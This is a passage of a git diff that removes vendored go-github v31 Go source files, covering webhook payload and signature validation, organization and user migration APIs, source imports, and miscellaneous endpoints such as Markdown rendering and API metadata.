return nil, nil, fmt.Errorf("error decoding signature %q: %v", signature, err) - } - return buf, hashFunc, nil -} - -// ValidatePayload validates an incoming GitHub Webhook event request -// and returns the (JSON) payload. -// The Content-Type header of the payload can be "application/json" or "application/x-www-form-urlencoded". -// If the Content-Type is neither then an error is returned. -// secretToken is the GitHub Webhook secret token. -// If your webhook does not contain a secret token, you can pass nil or an empty slice. -// This is intended for local development purposes only and all webhooks should ideally set up a secret token. -// -// Example usage: -// -// func (s *GitHubEventMonitor) ServeHTTP(w http.ResponseWriter, r *http.Request) { -// payload, err := github.ValidatePayload(r, s.webhookSecretKey) -// if err != nil { ... } -// // Process payload... -// } -// -func ValidatePayload(r *http.Request, secretToken []byte) (payload []byte, err error) { - var body []byte // Raw body that GitHub uses to calculate the signature. - - switch ct := r.Header.Get("Content-Type"); ct { - case "application/json": - var err error - if body, err = ioutil.ReadAll(r.Body); err != nil { - return nil, err - } - - // If the content type is application/json, - // the JSON payload is just the original body. - payload = body - - case "application/x-www-form-urlencoded": - // payloadFormParam is the name of the form parameter that the JSON payload - // will be in if a webhook has its content type set to application/x-www-form-urlencoded. - const payloadFormParam = "payload" - - var err error - if body, err = ioutil.ReadAll(r.Body); err != nil { - return nil, err - } - - // If the content type is application/x-www-form-urlencoded, - // the JSON payload will be under the "payload" form param. - form, err := url.ParseQuery(string(body)) - if err != nil { - return nil, err - } - payload = []byte(form.Get(payloadFormParam)) - - default: - return nil, fmt.Errorf("Webhook request has unsupported Content-Type %q", ct) - } - - // Only validate the signature if a secret token exists. This is intended for - // local development only and all webhooks should ideally set up a secret token. - if len(secretToken) > 0 { - sig := r.Header.Get(signatureHeader) - if err := ValidateSignature(sig, body, secretToken); err != nil { - return nil, err - } - } - - return payload, nil -} - -// ValidateSignature validates the signature for the given payload. -// signature is the GitHub hash signature delivered in the X-Hub-Signature header. -// payload is the JSON payload sent by GitHub Webhooks. -// secretToken is the GitHub Webhook secret token. -// -// GitHub API docs: https://developer.github.com/webhooks/securing/#validating-payloads-from-github -func ValidateSignature(signature string, payload, secretToken []byte) error { - messageMAC, hashFunc, err := messageMAC(signature) - if err != nil { - return err - } - if !checkMAC(payload, messageMAC, secretToken, hashFunc) { - return errors.New("payload signature check failed") - } - return nil -} - -// WebHookType returns the event type of webhook request r. -// -// GitHub API docs: https://developer.github.com/v3/repos/hooks/#webhook-headers -func WebHookType(r *http.Request) string { - return r.Header.Get(eventTypeHeader) -} - -// DeliveryID returns the unique delivery ID of webhook request r. -// -// GitHub API docs: https://developer.github.com/v3/repos/hooks/#webhook-headers -func DeliveryID(r *http.Request) string { - return r.Header.Get(deliveryIDHeader) -} - -// ParseWebHook parses the event payload. For recognized event types, a -// value of the corresponding struct type will be returned (as returned -// by Event.ParsePayload()). An error will be returned for unrecognized event -// types. -// -// Example usage: -// -// func (s *GitHubEventMonitor) ServeHTTP(w http.ResponseWriter, r *http.Request) { -// payload, err := github.ValidatePayload(r, s.webhookSecretKey) -// if err != nil { ... } -// event, err := github.ParseWebHook(github.WebHookType(r), payload) -// if err != nil { ... } -// switch event := event.(type) { -// case *github.CommitCommentEvent: -// processCommitCommentEvent(event) -// case *github.CreateEvent: -// processCreateEvent(event) -// ... -// } -// } -// -func ParseWebHook(messageType string, payload []byte) (interface{}, error) { - eventType, ok := eventTypeMapping[messageType] - if !ok { - return nil, fmt.Errorf("unknown X-Github-Event in message: %v", messageType) - } - - event := Event{ - Type: &eventType, - RawPayload: (*json.RawMessage)(&payload), - } - return event.ParsePayload() -} diff --git a/vendor/github.com/google/go-github/v31/github/migrations.go b/vendor/github.com/google/go-github/v31/github/migrations.go deleted file mode 100644 index 86b7c2789e..0000000000 --- a/vendor/github.com/google/go-github/v31/github/migrations.go +++ /dev/null @@ -1,228 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "errors" - "fmt" - "net/http" - "strings" -) - -// MigrationService provides access to the migration related functions -// in the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/migration/ -type MigrationService service - -// Migration represents a GitHub migration (archival). -type Migration struct { - ID *int64 `json:"id,omitempty"` - GUID *string `json:"guid,omitempty"` - // State is the current state of a migration. - // Possible values are: - // "pending" which means the migration hasn't started yet, - // "exporting" which means the migration is in progress, - // "exported" which means the migration finished successfully, or - // "failed" which means the migration failed. - State *string `json:"state,omitempty"` - // LockRepositories indicates whether repositories are locked (to prevent - // manipulation) while migrating data. - LockRepositories *bool `json:"lock_repositories,omitempty"` - // ExcludeAttachments indicates whether attachments should be excluded from - // the migration (to reduce migration archive file size). - ExcludeAttachments *bool `json:"exclude_attachments,omitempty"` - URL *string `json:"url,omitempty"` - CreatedAt *string `json:"created_at,omitempty"` - UpdatedAt *string `json:"updated_at,omitempty"` - Repositories []*Repository `json:"repositories,omitempty"` -} - -func (m Migration) String() string { - return Stringify(m) -} - -// MigrationOptions specifies the optional parameters to Migration methods. -type MigrationOptions struct { - // LockRepositories indicates whether repositories should be locked (to prevent - // manipulation) while migrating data. - LockRepositories bool - - // ExcludeAttachments indicates whether attachments should be excluded from - // the migration (to reduce migration archive file size). - ExcludeAttachments bool -} - -// startMigration represents the body of a StartMigration request. -type startMigration struct { - // Repositories is a slice of repository names to migrate. - Repositories []string `json:"repositories,omitempty"` - - // LockRepositories indicates whether repositories should be locked (to prevent - // manipulation) while migrating data. - LockRepositories *bool `json:"lock_repositories,omitempty"` - - // ExcludeAttachments indicates whether attachments should be excluded from - // the migration (to reduce migration archive file size). - ExcludeAttachments *bool `json:"exclude_attachments,omitempty"` -} - -// StartMigration starts the generation of a migration archive. -// repos is a slice of repository names to migrate. -// -// GitHub API docs: https://developer.github.com/v3/migrations/orgs/#start-an-organization-migration -func (s *MigrationService) StartMigration(ctx context.Context, org string, repos []string, opts *MigrationOptions) (*Migration, *Response, error) { - u := fmt.Sprintf("orgs/%v/migrations", org) - - body := &startMigration{Repositories: repos} - if opts != nil { - body.LockRepositories = Bool(opts.LockRepositories) - body.ExcludeAttachments = Bool(opts.ExcludeAttachments) - } - - req, err := s.client.NewRequest("POST", u, body) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - m := &Migration{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// ListMigrations lists the most recent migrations. -// -// GitHub API docs: https://developer.github.com/v3/migrations/orgs/#list-organization-migrations -func (s *MigrationService) ListMigrations(ctx context.Context, org string, opts *ListOptions) ([]*Migration, *Response, error) { - u := fmt.Sprintf("orgs/%v/migrations", org) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - var m []*Migration - resp, err := s.client.Do(ctx, req, &m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// MigrationStatus gets the status of a specific migration archive. -// id is the migration ID. -// -// GitHub API docs: https://developer.github.com/v3/migrations/orgs/#get-the-status-of-an-organization-migration -func (s *MigrationService) MigrationStatus(ctx context.Context, org string, id int64) (*Migration, *Response, error) { - u := fmt.Sprintf("orgs/%v/migrations/%v", org, id) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - m := &Migration{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// MigrationArchiveURL fetches a migration archive URL. -// id is the migration ID. -// -// GitHub API docs: https://developer.github.com/v3/migrations/orgs/#download-an-organization-migration-archive -func (s *MigrationService) MigrationArchiveURL(ctx context.Context, org string, id int64) (url string, err error) { - u := fmt.Sprintf("orgs/%v/migrations/%v/archive", org, id) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return "", err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - s.client.clientMu.Lock() - defer s.client.clientMu.Unlock() - - // Disable the redirect mechanism because AWS fails if the GitHub auth token is provided. - var loc string - saveRedirect := s.client.client.CheckRedirect - s.client.client.CheckRedirect = func(req *http.Request, via []*http.Request) error { - loc = req.URL.String() - return errors.New("disable redirect") - } - defer func() { s.client.client.CheckRedirect = saveRedirect }() - - _, err = s.client.Do(ctx, req, nil) // expect error from disable redirect - if err == nil { - return "", errors.New("expected redirect, none provided") - } - if !strings.Contains(err.Error(), "disable redirect") { - return "", err - } - return loc, nil -} - -// DeleteMigration deletes a previous migration archive. -// id is the migration ID. -// -// GitHub API docs: https://developer.github.com/v3/migrations/orgs/#delete-an-organization-migration-archive -func (s *MigrationService) DeleteMigration(ctx context.Context, org string, id int64) (*Response, error) { - u := fmt.Sprintf("orgs/%v/migrations/%v/archive", org, id) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - return s.client.Do(ctx, req, nil) -} - -// UnlockRepo unlocks a repository that was locked for migration. -// id is the migration ID. -// You should unlock each migrated repository and delete them when the migration -// is complete and you no longer need the source data. -// -// GitHub API docs: https://developer.github.com/v3/migrations/orgs/#unlock-an-organization-repository -func (s *MigrationService) UnlockRepo(ctx context.Context, org string, id int64, repo string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/migrations/%v/repos/%v/lock", org, id, repo) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/migrations_source_import.go b/vendor/github.com/google/go-github/v31/github/migrations_source_import.go deleted file mode 100644 index 3980dc902c..0000000000 --- a/vendor/github.com/google/go-github/v31/github/migrations_source_import.go +++ /dev/null @@ -1,305 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// Import represents a repository import request. -type Import struct { - // The URL of the originating repository. - VCSURL *string `json:"vcs_url,omitempty"` - // The originating VCS type. Can be one of 'subversion', 'git', - // 'mercurial', or 'tfvc'. Without this parameter, the import job will - // take additional time to detect the VCS type before beginning the - // import. This detection step will be reflected in the response. - VCS *string `json:"vcs,omitempty"` - // VCSUsername and VCSPassword are only used for StartImport calls that - // are importing a password-protected repository. - VCSUsername *string `json:"vcs_username,omitempty"` - VCSPassword *string `json:"vcs_password,omitempty"` - // For a tfvc import, the name of the project that is being imported. - TFVCProject *string `json:"tfvc_project,omitempty"` - - // LFS related fields that may be preset in the Import Progress response - - // Describes whether the import has been opted in or out of using Git - // LFS. The value can be 'opt_in', 'opt_out', or 'undecided' if no - // action has been taken. - UseLFS *string `json:"use_lfs,omitempty"` - // Describes whether files larger than 100MB were found during the - // importing step. - HasLargeFiles *bool `json:"has_large_files,omitempty"` - // The total size in gigabytes of files larger than 100MB found in the - // originating repository. - LargeFilesSize *int `json:"large_files_size,omitempty"` - // The total number of files larger than 100MB found in the originating - // repository. To see a list of these files, call LargeFiles. - LargeFilesCount *int `json:"large_files_count,omitempty"` - - // Identifies the current status of an import. An import that does not - // have errors will progress through these steps: - // - // detecting - the "detection" step of the import is in progress - // because the request did not include a VCS parameter. The - // import is identifying the type of source control present at - // the URL. - // importing - the "raw" step of the import is in progress. This is - // where commit data is fetched from the original repository. - // The import progress response will include CommitCount (the - // total number of raw commits that will be imported) and - // Percent (0 - 100, the current progress through the import). - // mapping - the "rewrite" step of the import is in progress. This - // is where SVN branches are converted to Git branches, and - // where author updates are applied. The import progress - // response does not include progress information. - // pushing - the "push" step of the import is in progress. This is - // where the importer updates the repository on GitHub. The - // import progress response will include PushPercent, which is - // the percent value reported by git push when it is "Writing - // objects". - // complete - the import is complete, and the repository is ready - // on GitHub. - // - // If there are problems, you will see one of these in the status field: - // - // auth_failed - the import requires authentication in order to - // connect to the original repository. Make an UpdateImport - // request, and include VCSUsername and VCSPassword. - // error - the import encountered an error. The import progress - // response will include the FailedStep and an error message. - // Contact GitHub support for more information. - // detection_needs_auth - the importer requires authentication for - // the originating repository to continue detection. Make an - // UpdatImport request, and include VCSUsername and - // VCSPassword. - // detection_found_nothing - the importer didn't recognize any - // source control at the URL. - // detection_found_multiple - the importer found several projects - // or repositories at the provided URL. When this is the case, - // the Import Progress response will also include a - // ProjectChoices field with the possible project choices as - // values. Make an UpdateImport request, and include VCS and - // (if applicable) TFVCProject. - Status *string `json:"status,omitempty"` - CommitCount *int `json:"commit_count,omitempty"` - StatusText *string `json:"status_text,omitempty"` - AuthorsCount *int `json:"authors_count,omitempty"` - Percent *int `json:"percent,omitempty"` - PushPercent *int `json:"push_percent,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - AuthorsURL *string `json:"authors_url,omitempty"` - RepositoryURL *string `json:"repository_url,omitempty"` - Message *string `json:"message,omitempty"` - FailedStep *string `json:"failed_step,omitempty"` - - // Human readable display name, provided when the Import appears as - // part of ProjectChoices. - HumanName *string `json:"human_name,omitempty"` - - // When the importer finds several projects or repositories at the - // provided URLs, this will identify the available choices. Call - // UpdateImport with the selected Import value. - ProjectChoices []*Import `json:"project_choices,omitempty"` -} - -func (i Import) String() string { - return Stringify(i) -} - -// SourceImportAuthor identifies an author imported from a source repository. -// -// GitHub API docs: https://developer.github.com/v3/migration/source_imports/#get-commit-authors -type SourceImportAuthor struct { - ID *int64 `json:"id,omitempty"` - RemoteID *string `json:"remote_id,omitempty"` - RemoteName *string `json:"remote_name,omitempty"` - Email *string `json:"email,omitempty"` - Name *string `json:"name,omitempty"` - URL *string `json:"url,omitempty"` - ImportURL *string `json:"import_url,omitempty"` -} - -func (a SourceImportAuthor) String() string { - return Stringify(a) -} - -// LargeFile identifies a file larger than 100MB found during a repository import. -// -// GitHub API docs: https://developer.github.com/v3/migration/source_imports/#get-large-files -type LargeFile struct { - RefName *string `json:"ref_name,omitempty"` - Path *string `json:"path,omitempty"` - OID *string `json:"oid,omitempty"` - Size *int `json:"size,omitempty"` -} - -func (f LargeFile) String() string { - return Stringify(f) -} - -// StartImport initiates a repository import. -// -// GitHub API docs: https://developer.github.com/v3/migrations/source_imports/#start-an-import -func (s *MigrationService) StartImport(ctx context.Context, owner, repo string, in *Import) (*Import, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/import", owner, repo) - req, err := s.client.NewRequest("PUT", u, in) - if err != nil { - return nil, nil, err - } - - out := new(Import) - resp, err := s.client.Do(ctx, req, out) - if err != nil { - return nil, resp, err - } - - return out, resp, nil -} - -// ImportProgress queries for the status and progress of an ongoing repository import. -// -// GitHub API docs: https://developer.github.com/v3/migrations/source_imports/#get-import-progress -func (s *MigrationService) ImportProgress(ctx context.Context, owner, repo string) (*Import, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/import", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - out := new(Import) - resp, err := s.client.Do(ctx, req, out) - if err != nil { - return nil, resp, err - } - - return out, resp, nil -} - -// UpdateImport initiates a repository import. -// -// GitHub API docs: https://developer.github.com/v3/migrations/source_imports/#update-existing-import -func (s *MigrationService) UpdateImport(ctx context.Context, owner, repo string, in *Import) (*Import, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/import", owner, repo) - req, err := s.client.NewRequest("PATCH", u, in) - if err != nil { - return nil, nil, err - } - - out := new(Import) - resp, err := s.client.Do(ctx, req, out) - if err != nil { - return nil, resp, err - } - - return out, resp, nil -} - -// CommitAuthors gets the authors mapped from the original repository. -// -// Each type of source control system represents authors in a different way. -// For example, a Git commit author has a display name and an email address, -// but a Subversion commit author just has a username. The GitHub Importer will -// make the author information valid, but the author might not be correct. For -// example, it will change the bare Subversion username "hubot" into something -// like "hubot ". -// -// This method and MapCommitAuthor allow you to provide correct Git author -// information. -// -// GitHub API docs: https://developer.github.com/v3/migrations/source_imports/#get-commit-authors -func (s *MigrationService) CommitAuthors(ctx context.Context, owner, repo string) ([]*SourceImportAuthor, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/import/authors", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var authors []*SourceImportAuthor - resp, err := s.client.Do(ctx, req, &authors) - if err != nil { - return nil, resp, err - } - - return authors, resp, nil -} - -// MapCommitAuthor updates an author's identity for the import. Your -// application can continue updating authors any time before you push new -// commits to the repository. -// -// GitHub API docs: https://developer.github.com/v3/migrations/source_imports/#map-a-commit-author -func (s *MigrationService) MapCommitAuthor(ctx context.Context, owner, repo string, id int64, author *SourceImportAuthor) (*SourceImportAuthor, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/import/authors/%v", owner, repo, id) - req, err := s.client.NewRequest("PATCH", u, author) - if err != nil { - return nil, nil, err - } - - out := new(SourceImportAuthor) - resp, err := s.client.Do(ctx, req, out) - if err != nil { - return nil, resp, err - } - - return out, resp, nil -} - -// SetLFSPreference sets whether imported repositories should use Git LFS for -// files larger than 100MB. Only the UseLFS field on the provided Import is -// used. -// -// GitHub API docs: https://developer.github.com/v3/migrations/source_imports/#set-git-lfs-preference -func (s *MigrationService) SetLFSPreference(ctx context.Context, owner, repo string, in *Import) (*Import, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/import/lfs", owner, repo) - req, err := s.client.NewRequest("PATCH", u, in) - if err != nil { - return nil, nil, err - } - - out := new(Import) - resp, err := s.client.Do(ctx, req, out) - if err != nil { - return nil, resp, err - } - - return out, resp, nil -} - -// LargeFiles lists files larger than 100MB found during the import. -// -// GitHub API docs: https://developer.github.com/v3/migrations/source_imports/#get-large-files -func (s *MigrationService) LargeFiles(ctx context.Context, owner, repo string) ([]*LargeFile, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/import/large_files", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var files []*LargeFile - resp, err := s.client.Do(ctx, req, &files) - if err != nil { - return nil, resp, err - } - - return files, resp, nil -} - -// CancelImport stops an import for a repository. -// -// GitHub API docs: https://developer.github.com/v3/migrations/source_imports/#cancel-an-import -func (s *MigrationService) CancelImport(ctx context.Context, owner, repo string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/import", owner, repo) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/migrations_user.go b/vendor/github.com/google/go-github/v31/github/migrations_user.go deleted file mode 100644 index 5224d7b844..0000000000 --- a/vendor/github.com/google/go-github/v31/github/migrations_user.go +++ /dev/null @@ -1,214 +0,0 @@ -// Copyright 2018 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "errors" - "fmt" - "net/http" -) - -// UserMigration represents a GitHub migration (archival). -type UserMigration struct { - ID *int64 `json:"id,omitempty"` - GUID *string `json:"guid,omitempty"` - // State is the current state of a migration. - // Possible values are: - // "pending" which means the migration hasn't started yet, - // "exporting" which means the migration is in progress, - // "exported" which means the migration finished successfully, or - // "failed" which means the migration failed. - State *string `json:"state,omitempty"` - // LockRepositories indicates whether repositories are locked (to prevent - // manipulation) while migrating data. - LockRepositories *bool `json:"lock_repositories,omitempty"` - // ExcludeAttachments indicates whether attachments should be excluded from - // the migration (to reduce migration archive file size). - ExcludeAttachments *bool `json:"exclude_attachments,omitempty"` - URL *string `json:"url,omitempty"` - CreatedAt *string `json:"created_at,omitempty"` - UpdatedAt *string `json:"updated_at,omitempty"` - Repositories []*Repository `json:"repositories,omitempty"` -} - -func (m UserMigration) String() string { - return Stringify(m) -} - -// UserMigrationOptions specifies the optional parameters to Migration methods. -type UserMigrationOptions struct { - // LockRepositories indicates whether repositories should be locked (to prevent - // manipulation) while migrating data. - LockRepositories bool - - // ExcludeAttachments indicates whether attachments should be excluded from - // the migration (to reduce migration archive file size). - ExcludeAttachments bool -} - -// startUserMigration represents the body of a StartMigration request. -type startUserMigration struct { - // Repositories is a slice of repository names to migrate. - Repositories []string `json:"repositories,omitempty"` - - // LockRepositories indicates whether repositories should be locked (to prevent - // manipulation) while migrating data. - LockRepositories *bool `json:"lock_repositories,omitempty"` - - // ExcludeAttachments indicates whether attachments should be excluded from - // the migration (to reduce migration archive file size). - ExcludeAttachments *bool `json:"exclude_attachments,omitempty"` -} - -// StartUserMigration starts the generation of a migration archive. -// repos is a slice of repository names to migrate. -// -// GitHub API docs: https://developer.github.com/v3/migrations/users/#start-a-user-migration -func (s *MigrationService) StartUserMigration(ctx context.Context, repos []string, opts *UserMigrationOptions) (*UserMigration, *Response, error) { - u := "user/migrations" - - body := &startUserMigration{Repositories: repos} - if opts != nil { - body.LockRepositories = Bool(opts.LockRepositories) - body.ExcludeAttachments = Bool(opts.ExcludeAttachments) - } - - req, err := s.client.NewRequest("POST", u, body) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - m := &UserMigration{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// ListUserMigrations lists the most recent migrations. -// -// GitHub API docs: https://developer.github.com/v3/migrations/users/#list-user-migrations -func (s *MigrationService) ListUserMigrations(ctx context.Context) ([]*UserMigration, *Response, error) { - u := "user/migrations" - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - var m []*UserMigration - resp, err := s.client.Do(ctx, req, &m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// UserMigrationStatus gets the status of a specific migration archive. -// id is the migration ID. -// -// GitHub API docs: https://developer.github.com/v3/migrations/users/#get-the-status-of-a-user-migration -func (s *MigrationService) UserMigrationStatus(ctx context.Context, id int64) (*UserMigration, *Response, error) { - u := fmt.Sprintf("user/migrations/%v", id) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - m := &UserMigration{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// UserMigrationArchiveURL gets the URL for a specific migration archive. -// id is the migration ID. -// -// GitHub API docs: https://developer.github.com/v3/migrations/users/#download-a-user-migration-archive -func (s *MigrationService) UserMigrationArchiveURL(ctx context.Context, id int64) (string, error) { - url := fmt.Sprintf("user/migrations/%v/archive", id) - - req, err := s.client.NewRequest("GET", url, nil) - if err != nil { - return "", err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - m := &UserMigration{} - - var loc string - originalRedirect := s.client.client.CheckRedirect - s.client.client.CheckRedirect = func(req *http.Request, via []*http.Request) error { - loc = req.URL.String() - return http.ErrUseLastResponse - } - defer func() { - s.client.client.CheckRedirect = originalRedirect - }() - resp, err := s.client.Do(ctx, req, m) - if err == nil { - return "", errors.New("expected redirect, none provided") - } - loc = resp.Header.Get("Location") - return loc, nil -} - -// DeleteUserMigration will delete a previous migration archive. -// id is the migration ID. -// -// GitHub API docs: https://developer.github.com/v3/migrations/users/#delete-a-user-migration-archive -func (s *MigrationService) DeleteUserMigration(ctx context.Context, id int64) (*Response, error) { - url := fmt.Sprintf("user/migrations/%v/archive", id) - - req, err := s.client.NewRequest("DELETE", url, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - return s.client.Do(ctx, req, nil) -} - -// UnlockUserRepo will unlock a repo that was locked for migration. -// id is migration ID. -// You should unlock each migrated repository and delete them when the migration -// is complete and you no longer need the source data. -// -// GitHub API docs: https://developer.github.com/v3/migrations/users/#unlock-a-user-repository -func (s *MigrationService) UnlockUserRepo(ctx context.Context, id int64, repo string) (*Response, error) { - url := fmt.Sprintf("user/migrations/%v/repos/%v/lock", id, repo) - - req, err := s.client.NewRequest("DELETE", url, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeMigrationsPreview) - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/misc.go b/vendor/github.com/google/go-github/v31/github/misc.go deleted file mode 100644 index 139a0dc66a..0000000000 --- a/vendor/github.com/google/go-github/v31/github/misc.go +++ /dev/null @@ -1,257 +0,0 @@ -// Copyright 2014 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "bytes" - "context" - "fmt" - "net/url" -) - -// MarkdownOptions specifies optional parameters to the Markdown method. -type MarkdownOptions struct { - // Mode identifies the rendering mode. Possible values are: - // markdown - render a document as plain Markdown, just like - // README files are rendered. - // - // gfm - to render a document as user-content, e.g. like user - // comments or issues are rendered. In GFM mode, hard line breaks are - // always taken into account, and issue and user mentions are linked - // accordingly. - // - // Default is "markdown". - Mode string - - // Context identifies the repository context. Only taken into account - // when rendering as "gfm". - Context string -} - -type markdownRequest struct { - Text *string `json:"text,omitempty"` - Mode *string `json:"mode,omitempty"` - Context *string `json:"context,omitempty"` -} - -// Markdown renders an arbitrary Markdown document. -// -// GitHub API docs: https://developer.github.com/v3/markdown/ -func (c *Client) Markdown(ctx context.Context, text string, opts *MarkdownOptions) (string, *Response, error) { - request := &markdownRequest{Text: String(text)} - if opts != nil { - if opts.Mode != "" { - request.Mode = String(opts.Mode) - } - if opts.Context != "" { - request.Context = String(opts.Context) - } - } - - req, err := c.NewRequest("POST", "markdown", request) - if err != nil { - return "", nil, err - } - - buf := new(bytes.Buffer) - resp, err := c.Do(ctx, req, buf) - if err != nil { - return "", resp, err - } - - return buf.String(), resp, nil -} - -// ListEmojis returns the emojis available to use on GitHub. -// -// GitHub API docs: https://developer.github.com/v3/emojis/ -func (c *Client) ListEmojis(ctx context.Context) (map[string]string, *Response, error) { - req, err := c.NewRequest("GET", "emojis", nil) - if err != nil { - return nil, nil, err - } - - var emoji map[string]string - resp, err := c.Do(ctx, req, &emoji) - if err != nil { - return nil, resp, err - } - - return emoji, resp, nil -} - -// CodeOfConduct represents a code of conduct. -type CodeOfConduct struct { - Name *string `json:"name,omitempty"` - Key *string `json:"key,omitempty"` - URL *string `json:"url,omitempty"` - Body *string `json:"body,omitempty"` -} - -func (c *CodeOfConduct) String() string { - return Stringify(c) -} - -// ListCodesOfConduct returns all codes of conduct. -// -// GitHub API docs: https://developer.github.com/v3/codes_of_conduct/#list-all-codes-of-conduct -func (c *Client) ListCodesOfConduct(ctx context.Context) ([]*CodeOfConduct, *Response, error) { - req, err := c.NewRequest("GET", "codes_of_conduct", nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeCodesOfConductPreview) - - var cs []*CodeOfConduct - resp, err := c.Do(ctx, req, &cs) - if err != nil { - return nil, resp, err - } - - return cs, resp, nil -} - -// GetCodeOfConduct returns an individual code of conduct. -// -// https://developer.github.com/v3/codes_of_conduct/#get-an-individual-code-of-conduct -func (c *Client) GetCodeOfConduct(ctx context.Context, key string) (*CodeOfConduct, *Response, error) { - u := fmt.Sprintf("codes_of_conduct/%s", key) - req, err := c.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeCodesOfConductPreview) - - coc := new(CodeOfConduct) - resp, err := c.Do(ctx, req, coc) - if err != nil { - return nil, resp, err - } - - return coc, resp, nil -} - -// APIMeta represents metadata about the GitHub API. -type APIMeta struct { - // An Array of IP addresses in CIDR format specifying the addresses - // that incoming service hooks will originate from on GitHub.com. - Hooks []string `json:"hooks,omitempty"` - - // An Array of IP addresses in CIDR format specifying the Git servers - // for GitHub.com. - Git []string `json:"git,omitempty"` - - // Whether authentication with username and password is supported. - // (GitHub Enterprise instances using CAS or OAuth for authentication - // will return false. Features like Basic Authentication with a - // username and password, sudo mode, and two-factor authentication are - // not supported on these servers.) - VerifiablePasswordAuthentication *bool `json:"verifiable_password_authentication,omitempty"` - - // An array of IP addresses in CIDR format specifying the addresses - // which serve GitHub Pages websites. - Pages []string `json:"pages,omitempty"` - - // An Array of IP addresses specifying the addresses that source imports - // will originate from on GitHub.com. - Importer []string `json:"importer,omitempty"` -} - -// APIMeta returns information about GitHub.com, the service. Or, if you access -// this endpoint on your organization’s GitHub Enterprise installation, this -// endpoint provides information about that installation. -// -// GitHub API docs: https://developer.github.com/v3/meta/ -func (c *Client) APIMeta(ctx context.Context) (*APIMeta, *Response, error) { - req, err := c.NewRequest("GET", "meta", nil) - if err != nil { - return nil, nil, err - } - - meta := new(APIMeta) - resp, err := c.Do(ctx, req, meta) - if err != nil { - return nil, resp, err - } - - return meta, resp, nil -} - -// Octocat returns an ASCII art octocat with the specified message in a speech -// bubble. If message is empty, a random zen phrase is used. -func (c *Client) Octocat(ctx context.Context, message string) (string, *Response, error) { - u := "octocat" - if message != "" { - u = fmt.Sprintf("%s?s=%s", u, url.QueryEscape(message)) - } - - req, err := c.NewRequest("GET", u, nil) - if err != nil 